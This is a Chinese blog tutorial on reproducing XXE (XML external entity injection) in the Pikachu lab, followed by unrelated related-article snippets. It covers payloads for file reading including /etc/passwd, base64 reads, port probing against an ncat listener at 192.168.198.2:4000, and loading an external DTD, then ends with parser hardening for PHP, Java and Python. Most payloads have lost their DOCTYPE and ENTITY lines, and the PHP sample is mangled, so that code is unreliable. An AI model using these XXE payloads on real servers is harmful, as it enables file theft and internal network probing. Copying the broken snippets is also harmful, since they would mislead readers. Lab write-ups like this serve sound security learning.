XXE漏洞复现实操

文章目录

  • 一、漏洞原理
  • 二、验证payload
  • 三、没有回显时的验证
  • 四、漏洞特征
  • 五、读取文件
  • 六、Base64加密读取
  • 七、端口检测
  • 八、使用php检测端口
  • 九、dtd外部实体读取文件
  • 十、Xxe漏洞防御

一、漏洞原理

(1)XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏洞, XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害,XML(也是一种语言)被设计用来传输和存储数据
(2)也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致漏洞
实验环境:windows pikachu xxe漏洞

二、验证payload

<?xml version = "1.0"?>

]>
&hacker;
在这里插入图片描述

三、没有回显时的验证

<?xml version = "1.0"?>

]>
&xxe;
在这里插入图片描述

四、漏洞特征

Accept里有application/xml的格式
在这里插入图片描述

五、读取文件

<?xml version = "1.0"?> ]> &f;

在这里插入图片描述

六、Base64加密读取

<?xml version = "1.0"?> ]> &f;

在这里插入图片描述
在这里插入图片描述

或则读取linux的/etc/passwd

<?xml version = "1.0"?> ]> &f;

七、端口检测

ncat -lvp 4000(端口可自定义)
使用以下语句尝试是否能够建立连接

<?xml version = "1.0"?> <!ENTITY xxe SYSTEM "http://192.168.198.2:4000/">

]>&xxe;
如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。
在这里插入图片描述

八、使用php检测端口

<?php $xml=<<

]>
&xxe;
EOF;
d a t a = s i m p l e x m l l o a d s t r i n g ( data=simplexml_load_string( data=simplexmlloadstring(xml);
print_r($data);
?>
端口关闭的情况如下
在这里插入图片描述

开启时
在这里插入图片描述

九、dtd外部实体读取文件

<?xml version="1.0"?><!DOCTYPE note

[<!ENTITY % d SYSTEM "http://127.0.0.1/note.dtd">%d;]>
&eviltest;

在这里插入图片描述

十、Xxe漏洞防御

1、使用开发语言提供的禁用外部实体的方法
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/156861.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Lego Studio打开solidworks零件/装配体 (sw另存obj文件)

solidworks 2020 Lego studio / part designer 截至2023-10-13&#x1f382;最新版 文章目录 操作步骤1&#xff09; solidworks 开启 ScanTo3D 功能2&#xff09; 零件 / 装配体 保存至stl格式文件3&#xff09; 以SanTo3D网格文件方式打开stl4&#xff09; 将打开的stl另存为…

ES相关面试问题整理

索引模板了解么 索引模板&#xff0c;一种复用机制&#xff0c;就像一些项目的开发框架如 Laravel 一样&#xff0c;省去了大量的重复&#xff0c;体力劳动。当新建一个 Elasticsearch 索引时&#xff0c;自动匹配模板&#xff0c;完成索引的基础部分搭建。 模板定义&#xf…

基于JavaWeb+SpringBoot+Vue超市管理系统的设计和实现

基于JavaWebSpringBootVue超市管理系统的设计和实现 源码传送入口前言主要技术系统设计功能截图Lun文目录订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码传送入口 前言 摘 要 科技进步的飞速发展引起人们日常生活的巨大变化&#xff0c;电子信息技术的飞速发…

Spring Boot自动加载

问&#xff1a;自动装配如何实现的&#xff1f; 答&#xff1a;简单来说就是自动去把第三方组件的Bean装载到IOC容器中&#xff0c;不需要开发人员再去写Bean相关的配置&#xff0c;在springboot应用里面只需要在启动类上去加上SpringBootApplication注解&#xff0c;就可以去实…

【大数据】HBase入门指南

原创不易&#xff0c;注重版权。转载请注明原作者和原文链接 文章目录 HBase特性Hadoop的限制基本概念NameSpaceTableRowKeyColumnTimeStampCell 存储结构HBase 数据访问形式架构体系HBase组件HBase读写流程读流程写流程 MemStore Flush参数说明 StoreFile Compaction参数说明触…

华为云云耀云服务器L实例评测 | 实例评测使用之硬件参数评测:华为云云耀云服务器下的 Linux 磁盘目录分析神器 ncdu

华为云云耀云服务器L实例评测 &#xff5c; 实例评测使用之硬件参数评测&#xff1a;华为云云耀云服务器下的 Linux 磁盘目录分析神器 ncdu 介绍华为云云耀云服务器 华为云云耀云服务器 &#xff08;目前已经全新升级为 华为云云耀云服务器L实例&#xff09; 华为云云耀云服务器…

大数据基础技能入门指南

本文介绍了数据工作中数据基础和复杂数据查询两个基础技能。 背景 当下&#xff0c;不管是业务升级迭代项目&#xff0c;还是体验优化项目&#xff0c;对于数据的需求都越来越大。数据需求主要集中在以下几个方面&#xff1a; 项目数据看板搭建&#xff1a;特别是一些AB实验的看…

MIT 6.S081 Operating System/Fall 2020 macOS搭建risc-v与xv6开发调试环境

文章目录 本机配置安装环境Homebrew执行安装脚本查看安装是否成功 RISC-V tools执行brew的安装脚本 QEMUXV6 测试有用的参考链接&#xff08;感谢前辈&#xff09;写在结尾 本机配置 电脑型号&#xff1a;Apple M2 Pro 2023 操作系统&#xff1a;macOS Ventura 13.4 所以我的电…

谷歌浏览器在新的浏览器窗口中打开所选的每条搜索结果在哪设置? 谷歌的搜索设置在哪设置??

1、进入谷歌搜索页面&#xff0c; 2、点击快捷设置&#xff0c;点击高级搜索 3、点击自定义搜索设置 4、点击其他设置 5、启用在新窗口中打开搜索结果

如何保护我们的网络安全

保护网络安全是至关重要的&#xff0c;尤其是在今天的数字化时代。以下是一些保护网络安全的基本步骤&#xff1a; 1、使用强密码&#xff1a;使用包含字母、数字和特殊字符的复杂密码。不要在多个网站上重复使用相同的密码。定期更改密码。 2、启用双因素认证 (2FA)&#xff…

数据分析基础:数据可视化+数据分析报告

数据分析是指通过对大量数据进行收集、整理、处理和分析&#xff0c;以发现其中的模式、趋势和关联&#xff0c;并从中提取有价值的信息和知识。 数据可视化和数据分析报告是数据分析过程中非常重要的两个环节&#xff0c;它们帮助将数据转化为易于理解和传达的形式&#xff0…

CRM系统:快速实现外勤出差人员远程访问企业提升工作效率!

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏:《速学数据结构》 《C语言进阶篇》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 快速实现外勤出差人员远程访问企业CRM系统前言1. 无需公网IP&#xff0c;高效低成本实现CRM系统远程访问1.1 下…

单片机外围电路设计常出现的问题

网友&#xff1a;单片机外围电路有哪些注意事项呀&#xff1f; 工程师&#xff1a;单片机外围电路设计需要注意的点有很多&#xff0c;今天我简单说几个吧 一、单片机上拉电阻的选择&#xff0c;复位电路中电阻R110k时RST是高电平&#xff0c;而当R150时RST为低电平&#xff0…

月老脱单交友盲盒小程序源码系统 带完整搭建教程

大家好啊&#xff0c;知道大家想要什么就给大家分享什么。今天要给大家分享的是月老脱单交友盲盒小程序源码系统&#xff0c;在当下可是十分火热&#xff0c;搭建起来也比较简单&#xff0c;一起来看看吧。 系统特色功能一览&#xff1a; 实现随机生成虚拟商品盒子&#xff0c…

并发、并行、同步、异步、阻塞、非阻塞

一、多核、多cpu &#xff08;一&#xff09;多核 Multicore 核是CPU最重要的部分。负责运算。核包括控制单元、运算单元、寄存器等单元。 多核就是指单个CPU中有多个核。 &#xff08;二&#xff09;多cpu Multiprocessor 多cpu就是一个系统拥有多个CPU。每个CPU可能有单个核…

AI:38-基于深度学习的抽烟行为检测

随着人工智能的迅猛发展,它在各个领域展现出了广泛的应用潜力。其中,基于深度学习的抽烟行为检测技术引起了人们的极大兴趣。这项技术利用计算机视觉和深度学习算法,能够自动检测和监测人们的抽烟行为,为烟草控制和公共卫生提供了新的手段。本文将深入探讨基于深度学习的抽…

SELECT COUNT(*)会不会导致全表扫描引起慢查询

SELECT COUNT(*)会不会导致全表扫描引起慢查询呢&#xff1f; SELECT COUNT(*) FROM SomeTable 网上有一种说法&#xff0c;针对无 where_clause 的 COUNT(*)&#xff0c;MySQL 是有优化的&#xff0c;优化器会选择成本最小的辅助索引查询计数&#xff0c;其实反而性能最高&…

【C++】:内存管理

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关Linux的基础知识点&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通 数…

1.MySQL库的操作

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 1.创建数据库&#xff1a; 语法&#xff1a;create database if not exists db_name charset字符集 collate校验规则 ; if not exists &#xff0c;charset &#xff0c;collate可以不加&#xff0c;直接create database 数…

关于如何进行ChatGPT模型微调的新手指南

微调是指在预训练的模型基础上&#xff0c;通过进一步的训练来调整模型以适应特定任务或领域。预训练的模型在大规模的文本数据上进行了广泛的学习&#xff0c;从中获得了一定的知识和语言理解能力。然而&#xff0c;由于预训练并不针对具体任务&#xff0c;因此需要微调来使模…